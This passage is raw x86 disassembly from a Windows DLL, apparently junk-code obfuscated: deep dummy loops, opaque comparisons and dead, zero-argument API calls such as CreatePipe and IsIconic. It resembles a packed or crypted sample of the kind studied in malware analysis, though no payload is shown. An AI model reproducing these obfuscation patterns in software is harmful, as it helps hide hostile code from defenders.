cmp dword [ebp - 0x50], 0
je 0x1003f4d5
mov dword [ebp - 0x12ac], 1
jmp 0x1003f4dc
and dword [ebp - 0x12ac], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x18d4], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x198c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x774]
mov dword [ebp - 0x18dc], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x774]
lea eax, [eax + eax + 8]
test eax, eax
je 0x1003f523
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x774], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x774], 0
jne 0x1003f53c
and dword [ebp - 0x8cc], 0
jmp 0x1003f546
mov dword [ebp - 0x8cc], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x774]
cmp eax, dword [ebp - 0x8cc]
jge 0x1003f566
mov dword [ebp - 0xdbc], 1
jmp 0x1003f56d
and dword [ebp - 0xdbc], 0
cmp dword [ebp - 0xdbc], 0xc7e12fd8
jae 0x1003f585
mov dword [ebp - 0x8d4], 1
jmp 0x1003f58c
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 2
and dword [ebp - 0x214], 0
jmp 0x1003f5ad
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1f
jae 0x100404ae
mov dword [ebp - 0x4cc], 0xf7e2799a
mov dword [ebp - 0x4cc], 0x15
jmp 0x1003f5da
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 0x16
jl 0x1003f690
push 2
lea ecx, [ebp - 0x14ec]
call fcn.10026750
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x37c], 0
jmp 0x1003f614
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 2
jge 0x1003f636
push dword [ebp - 0x37c]
lea ecx, [ebp - 0x14ec]
call fcn.100267ee
mov dword [eax], 0x14d2edc7
jmp 0x1003f607
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x1003f65c
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 1
lea ecx, [ebp - 0x14ec]
call fcn.100267ee
mov esi, eax
push 1
lea ecx, [ebp - 0x14ec]
call fcn.100267ee
mov ecx, dword [esi]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14ec]
call fcn.100267d2
jmp 0x1003f5cd
mov byte [ebp - 0x192], 0
movzx eax, byte [ebp - 0x192]
test eax, eax
je 0x1003f6ac
push 0
push 0
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x260]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x1003fee5
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x260]
inc eax
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x260]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x14], eax
push 3
lea ecx, [ebp - 0x26c]
call fcn.10026750
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x38], 0xb1cecb45
mov dword [ebp - 0xe90], 0x82b357f0
mov dword [ebp - 0xc1c], 0x7a51
mov dword [ebp - 0x1018], 0x1000b7f8
cmp dword [ebp - 0xc1c], 0x7d88
jle 0x1003f820
and dword [ebp - 0x574], 0
jmp 0x1003f74d
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 0x7dd6
jge 0x1003f812
and dword [ebp - 0x384], 0
jmp 0x1003f773
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x58b4
jge 0x1003f80d
and dword [ebp - 0x4d4], 0
jmp 0x1003f799
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 0x29e9
jge 0x1003f808
and dword [ebp - 0x38c], 0
jmp 0x1003f7bb
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x6591
jge 0x1003f806
mov eax, dword [ebp - 0x574]
add eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x4d4]
add ecx, dword [ebp - 0x38c]
sar eax, cl
cdq
mov dword [ebp - 0x10f0], eax
mov dword [ebp - 0x10ec], edx
push dword [ebp - 0x10ec]
push dword [ebp - 0x10f0]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x1003f7ae
jmp 0x1003f78c
jmp 0x1003f766
jmp 0x1003f740
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RtlUnwind]
mov dword [ebp - 0x6e0], 0x79ea4087
cmp dword [ebp - 0xc1c], 0x773e
jge 0x1003f846
mov edx, dword [ebp - 0x1018]
mov ecx, 0x10094c18
call fcn.10029186
mov dword [ebp - 0x8dc], 0x5977
mov dword [ebp - 0x1304], 0x1000b850
cmp dword [ebp - 0x8dc], 0x5d45
jle 0x1003f941
and dword [ebp - 0x60c], 0
jmp 0x1003f880
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 0x548a
jge 0x1003f941
and dword [ebp - 0x394], 0
jmp 0x1003f8a6
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x5c14
jge 0x1003f93c
and dword [ebp - 0x4dc], 0
jmp 0x1003f8cc
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0x4ce5
jge 0x1003f937
mov eax, dword [ebp - 0x60c]
mov ecx, dword [ebp - 0x394]
shl eax, cl
or eax, dword [ebp - 0x4dc]
cdq
mov dword [ebp - 0x10fc], eax
mov dword [ebp - 0x10f8], edx
push dword [ebp - 0x10f8]
push dword [ebp - 0x10fc]
lea ecx, [ebp - 0x1dc4]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x105c], eax
mov ecx, dword [ebp - 0x105c]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1dc4]
call fcn.1002640c
jmp 0x1003f8bf
jmp 0x1003f899
jmp 0x1003f873
mov dword [ebp - 0x1020], 0xdea90cff
cmp dword [ebp - 0x8dc], 0x592a
jge 0x1003f963
push dword [ebp - 0x1304]
call fcn.10079103
pop ecx
mov dword [ebp - 0x39c], 0
jmp 0x1003f97c
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 3
jge 0x1003f99e
push dword [ebp - 0x39c]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov dword [eax], 0x41b3
jmp 0x1003f96f
mov dword [ebp - 0x38], 2
jmp 0x1003f9ae
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1003fda6
mov dword [ebp - 0x18c], 1
mov dword [ebp - 0x8e4], 0x3624b674
push 3
lea ecx, [ebp - 0x16f0]
call fcn.10026750
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x664], 0
mov dword [ebp - 0xac], 0
jmp 0x1003fa00
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x1003fa1f
push dword [ebp - 0xac]
lea ecx, [ebp - 0x16f0]
call fcn.100267ee
or dword [eax], 0xffffffff
jmp 0x1003f9f3
mov dword [ebp - 0xac], 0
jmp 0x1003fa38
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 4
jge 0x1003fa54
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x1a40], 0x88cdf2ab
jmp 0x1003fa2b
mov dword [ebp - 0x18c], 2
jmp 0x1003fa6d
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jl 0x1003fad6
mov dword [ebp - 0x204], 0xb9dd952e
mov dword [ebp - 0x204], 2
jmp 0x1003fa99
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jl 0x1003fac9
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov esi, eax
push dword [ebp - 0x204]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1003fa8c
cmp dword [ebp - 0x204], 0
je 0x1003fad4
jmp 0x1003fa60
jmp 0x1003fa60
xor eax, eax
jne 0x1003fd21
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
cmp dword [eax], 0
jne 0x1003fc10
mov dword [ebp - 0x18c], 0x8c55
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xe90], eax
mov eax, dword [ebp - 0xe90]
mov dword [ebp - 0x8e4], eax
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x65c], eax
push 0
lea ecx, [ebp - 0x16f0]
call fcn.100267ee
mov ecx, dword [ebp - 0x65c]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x65c]
mov dword [ebp + eax - 0x1a40], ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
cmp dword [eax], 1
jne 0x1003fb6a
mov dword [ebp - 0xc24], 1
jmp 0x1003fb71
and dword [ebp - 0xc24], 0
push 0
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [ebp - 0xc24]
cmp ecx, dword [eax]
jle 0x1003fb9a
cmp dword [ebp - 0x18c], 0
jne 0x1003fb9a
and dword [ebp - 0x8ec], 0
jmp 0x1003fba4
mov dword [ebp - 0x8ec], 1
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [ebp - 0x8ec]
cmp ecx, dword [eax]
jg 0x1003fbc8
mov dword [ebp - 0xdc4], 1
jmp 0x1003fbcf
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0x6e0], eax
mov esi, dword [ebp - 0x6e0]
push 2
lea ecx, [ebp - 0x26c]
call fcn.100267ee
cmp esi, dword [eax]
jge 0x1003fbfe
mov dword [ebp - 0x8f4], 1
jmp 0x1003fc05
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x8f4], eax
je 0x1003fc25
cmp dword [ebp - 0x6e0], 0
je 0x1003fc25
mov dword [ebp - 0xc2c], 1
jmp 0x1003fc2c
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0xc2c]
mov dword [ebp - 0x664], eax
mov esi, dword [ebp - 0x664]
push 2
lea ecx, [ebp - 0x26c]
call fcn.100267ee
cmp esi, dword [eax]
jge 0x1003fc5b
mov dword [ebp - 0x8fc], 1
jmp 0x1003fc62
and dword [ebp - 0x8fc], 0
cmp dword [ebp - 0x8fc], 0
jg 0x1003fc77
mov dword [ebp - 0xf38], 1
jmp 0x1003fc7e
and dword [ebp - 0xf38], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [ebp - 0xf38]
cmp ecx, dword [eax]
jle 0x1003fca8
mov eax, 0xa251
test eax, eax
jne 0x1003fca8
and dword [ebp - 0x904], 0
jmp 0x1003fcb2
mov dword [ebp - 0x904], 1
imul esi, dword [ebp - 0x904], 0
push 0
lea ecx, [ebp - 0x26c]
call fcn.100267ee
cmp esi, dword [eax]
jne 0x1003fcd6
mov dword [ebp - 0xc34], 1
jmp 0x1003fcdd
and dword [ebp - 0xc34], 0
cmp dword [ebp - 0xc34], 0xda1e
je 0x1003fcf5
mov dword [ebp - 0x90c], 1
jmp 0x1003fcfc
and dword [ebp - 0x90c], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [ebp - 0x90c]
add ecx, dword [eax]
cmp ecx, 0xee00
jge 0x1003fd21
cmp dword [ebp - 0x664], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov esi, eax
push 1
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x1003fd50
mov dword [ebp - 0xdcc], 1
jmp 0x1003fd57
and dword [ebp - 0xdcc], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x26c]
call fcn.100267ee
mov ecx, dword [ebp - 0xdcc]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x38]
jl 0x1003fd7f
mov dword [ebp - 0x914], 1
jmp 0x1003fd86
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x1020], eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x16f0]
call fcn.100267d2
jmp 0x1003f9a7
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x1003fdc0
push 0
call dword [sym.imp.USER32.dll_IsIconic]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x26c]
call fcn.100267d2
mov dword [ebp - 0xc3c], 0x7821
mov dword [ebp - 0x1028], 0x1000b878
cmp dword [ebp - 0xc3c], 0x7901
jle 0x1003fec8
and dword [ebp - 0x2b8], 0
jmp 0x1003fe09
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x7935
jge 0x1003fec8
and dword [ebp - 0x57c], 0
jmp 0x1003fe2f
mov eax, dword [ebp - 0x57c]
inc eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 0x15d4
jge 0x1003fec3
and dword [ebp - 0x3a4], 0
jmp 0x1003fe55
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x3d6f
jge 0x1003febe
mov eax, dword [ebp - 0x2b8]
add eax, dword [ebp - 0x57c]
and eax, dword [ebp - 0x3a4]
cdq
mov dword [ebp - 0x1108], eax
mov dword [ebp - 0x1104], edx
push dword [ebp - 0x1104]
push dword [ebp - 0x1108]
lea ecx, [ebp - 0x1c5c]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x13e4], eax
mov ecx, dword [ebp - 0x13e4]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1c5c]
call fcn.1002640c
jmp 0x1003fe48
jmp 0x1003fe22
jmp 0x1003fdfc
jmp 0x1003f5a5
push 3
lea ecx, [ebp - 0x17e4]
call fcn.10026750
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x1b8], 1
mov dword [ebp - 0x934], 0xeaa3
mov dword [ebp - 0x4e4], 0
jmp 0x1003ff26
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 3
jge 0x1003ff48
push dword [ebp - 0x4e4]
lea ecx, [ebp - 0x17e4]
call fcn.100267ee
mov dword [eax], 0x7571177e
jmp 0x1003ff19
mov dword [ebp - 0x1b8], 2
jmp 0x1003ff61
mov eax, dword [ebp - 0x1b8]
dec eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
jl 0x100402ce
mov dword [ebp - 0x240], 0xffffffff
mov dword [ebp - 0x718], 0xffffffff
mov dword [ebp - 0x66c], 0xf6802998
mov dword [ebp - 0x240], 0
jmp 0x1003ffa5
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jg 0x100402c9
mov dword [ebp - 0x91c], 0xc96c7979
mov dword [ebp - 0x3ac], 0x2b441a62
mov eax, dword [ebp - 0x91c]
inc eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x3ac], 0
jne 0x10040085
mov eax, 0xf9948584
test eax, eax
je 0x1003fffe
cmp dword [ebp - 0x3ac], 0
je 0x1003fffe
mov dword [ebp - 0xe98], 1
jmp 0x10040005
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0x66c]
cmp dword [ebp - 0xe98], eax
jg 0x1004001f
mov dword [ebp - 0x924], 1
jmp 0x10040026
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x924]
je 0x10040040
mov dword [ebp - 0xc44], 1
jmp 0x10040047
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0xc44], eax
jg 0x10040061
mov dword [ebp - 0x92c], 1
jmp 0x10040068
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x934]
add eax, dword [ebp - 0x92c]
cmp eax, dword [ebp - 0x1b8]
jge 0x10040085
and dword [ebp - 0xdd4], 0
jmp 0x1004008f
mov dword [ebp - 0xdd4], 1
mov eax, dword [ebp - 0xdd4]
sub eax, 0x16d2
sub eax, dword [ebp - 0x934]
add eax, 0xc377013
cmp eax, dword [ebp - 0x1b8]
jl 0x100400b9
mov dword [ebp - 0xc4c], 1
jmp 0x100400c0
and dword [ebp - 0xc4c], 0
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0xc4c]
jne 0x100400da
mov dword [ebp - 0x93c], 1
jmp 0x100400e1
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x718], eax
mov eax, dword [ebp - 0x718]
cmp eax, dword [ebp - 0x93c]
jle 0x10040107
mov dword [ebp - 0xee8], 1
jmp 0x1004010e
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0xee8]
sub eax, dword [ebp - 0x66c]
cmp eax, 0x4286a4
jl 0x1004012d
mov dword [ebp - 0x944], 1
jmp 0x10040134
and dword [ebp - 0x944], 0
cmp dword [ebp - 0x944], 5
jg 0x10040149
mov dword [ebp - 0xc54], 1
jmp 0x10040150
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0xc54]
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x94c], 0x71da
mov dword [ebp - 0x1030], 0x1000b8d4
cmp dword [ebp - 0x94c], 0x7446
jle 0x10040292
and dword [ebp - 0x3bc], 0
jmp 0x10040196
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x25e4
jge 0x1004028a
and dword [ebp - 0x5cc], 0
jmp 0x100401bc
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0x45f2
jge 0x10040285
and dword [ebp - 0x3b4], 0
jmp 0x100401e2
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x8b8
jge 0x10040280
and dword [ebp - 0x4ec], 0
jmp 0x10040208
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0x513e
jge 0x1004027b
mov eax, dword [ebp - 0x5cc]
mov ecx, dword [ebp - 0x3b4]
sar eax, cl
mov ecx, dword [ebp - 0x4ec]
shl eax, cl
or eax, dword [ebp - 0x3bc]
cdq
mov dword [ebp - 0x1114], eax
mov dword [ebp - 0x1110], edx
push dword [ebp - 0x1110]
push dword [ebp - 0x1114]
lea ecx, [ebp - 0x1d40]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x130c], eax
mov ecx, dword [ebp - 0x130c]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1d40]
call fcn.1002640c
jmp 0x100401fb
jmp 0x100401d5
jmp 0x100401af
jmp 0x10040189
push 0
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov byte [ebp - 0x194], 0
cmp dword [ebp - 0x94c], 0x6e31
jge 0x100402b1
push dword [ebp - 0x1030]
call fcn.10079103
pop ecx
movzx eax, byte [ebp - 0x194]
test eax, eax
je 0x100402c4
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1003ff98
jmp 0x1003ff54
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17e4]
call fcn.100267d2
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x25f]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x214]
movzx ecx, byte [ebp + ecx - 0x262]
movsx ecx, byte [ebp + ecx - 0xfec]
add eax, ecx
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x25f]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x214]
movzx edx, byte [ebp + edx - 0x262]
movsx edx, byte [ebp + edx - 0xfec]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x25f]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x214]
movzx edx, byte [ebp + edx - 0x262]
movsx edx, byte [ebp + edx - 0xfec]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x260]
mov byte [ebp + ecx - 0xfec], al
push 2
lea ecx, [ebp - 0x17f4]
call fcn.10026750
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x8c], 0
jmp 0x10040392
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x100403b4
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x17f4]
call fcn.100267ee
mov dword [eax], 0x9b55bb2c
jmp 0x10040385
mov dword [ebp - 0x8c], 0
jmp 0x100403cd
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x100403e9
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x1510], 1
jmp 0x100403c0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1510], 1
jmp 0x10040417
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1510]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1510], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1510], 0
jl 0x10040493
mov dword [ebp - 0x1e0], 0x17be1879
mov dword [ebp - 0x1e0], 0
jmp 0x1004044a
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jg 0x1004048e
mov dword [ebp - 0x149c], 1
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x1e0], eax
jne 0x10040477
mov dword [ebp - 0xddc], 1
jmp 0x1004047e
and dword [ebp - 0xddc], 0
mov eax, dword [ebp - 0xddc]
neg eax
mov dword [ebp - 0x149c], eax
jmp 0x1004043d
jmp 0x100403fc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17f4]
call fcn.100267d2
and dword [ebp - 0x214], 0
jmp 0x1003f5a5
mov dword [ebp - 0x15bc], 3
mov dword [ebp - 0x15b8], 3
mov dword [ebp - 0x15b4], 3
mov dword [ebp - 0x15b0], 3
lea ecx, [ebp - 0x701]
call fcn.100267fd
push eax
lea eax, [ebp - 0x15ac]
push eax
lea eax, [ebp - 0x15bc]
push eax
lea ecx, [ebp - 0x1a48]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x19b8]
call fcn.100267ac
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x3c4], 0xd4081c29
push 1
lea ecx, [ebp - 0x1804]
call fcn.10026750
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x584], 0
jmp 0x10040546
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 1
jge 0x10040568
push dword [ebp - 0x584]
lea ecx, [ebp - 0x1804]
call fcn.100267ee
mov dword [eax], 0xfffffff7
jmp 0x10040539
mov dword [ebp - 0x3c4], 3
jmp 0x10040581
mov eax, dword [ebp - 0x3c4]
dec eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
jl 0x100405a3
mov dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x954]
inc eax
mov dword [ebp - 0x954], eax
jmp 0x10040574
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x1804]
call fcn.100267d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19b8]
call fcn.100267d2
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xfec], 0
mov dword [ebp - 0x96c], 0x8d72a67f
push 1
lea ecx, [ebp - 0x16a8]
call fcn.10026750
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x30], 0
jmp 0x100405fd
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x10040613
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xefc], 0xfffffff8
jmp 0x100405f6
mov dword [ebp - 0x30], 0
jmp 0x10040623
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x10040639
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x97c], 3
jmp 0x1004061c
mov dword [ebp - 0x30], 0
jmp 0x10040649
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x10040665
push dword [ebp - 0x30]
lea ecx, [ebp - 0x16a8]
call fcn.100267ee
mov dword [eax], 1
jmp 0x10040642
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xefc], 0x17
jmp 0x10040693
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xefc]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xefc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xefc], 0xfffffff1
jl 0x100409ed
mov dword [ebp - 0x1c0], 0x83066c93
mov dword [ebp - 0x1040], 0
mov dword [ebp - 0xc5c], 0x408f
mov dword [ebp - 0x1314], 0x1000b900
cmp dword [ebp - 0xc5c], 0x4338
jle 0x100407c4
and dword [ebp - 0x4f4], 0
jmp 0x100406f5
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 0x561f
jge 0x100407b6
and dword [ebp - 0x3cc], 0
jmp 0x1004071b
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x4b65
jge 0x100407b1
and dword [ebp - 0x5fc], 0
jmp 0x10040741
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0x2e90
jge 0x100407ac
mov eax, dword [ebp - 0x4f4]
add eax, dword [ebp - 0x3cc]
mov ecx, dword [ebp - 0x5fc]
sar eax, cl
cdq
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x111c], edx
push dword [ebp - 0x111c]
push dword [ebp - 0x1120]
lea ecx, [ebp - 0x1c8c]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x1038], eax
mov ecx, dword [ebp - 0x1038]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1c8c]
call fcn.1002640c
jmp 0x10040734
jmp 0x1004070e
jmp 0x100406e8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x3d4], 0
jmp 0x100407dd
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 4
jge 0x100407f9
mov eax, dword [ebp - 0x3d4]
mov dword [ebp + eax*4 - 0x1b00], 3
jmp 0x100407d0
cmp dword [ebp - 0xc5c], 0x403c
jge 0x10040811
push dword [ebp - 0x1314]
call fcn.10079103
pop ecx
xor eax, eax
inc eax
je 0x10040837
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c0]
cmp dword [ebp + eax - 0xefc], ecx
jne 0x10040837
mov dword [ebp - 0x95c], 1
jmp 0x1004083e
and dword [ebp - 0x95c], 0
cmp dword [ebp - 0x95c], 0
jne 0x10040853
mov dword [ebp - 0xea0], 1
jmp 0x1004085a
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xea0], eax
jle 0x10040881
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xefc], 0
jne 0x10040881
and dword [ebp - 0x964], 0
jmp 0x1004088b
mov dword [ebp - 0x964], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xefc]
add eax, dword [ebp - 0x964]
cmp eax, 0xffffffff
jae 0x100408ae
mov dword [ebp - 0xc64], 1
jmp 0x100408b5
and dword [ebp - 0xc64], 0
mov eax, dword [ebp - 0xc64]
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x96c], 0
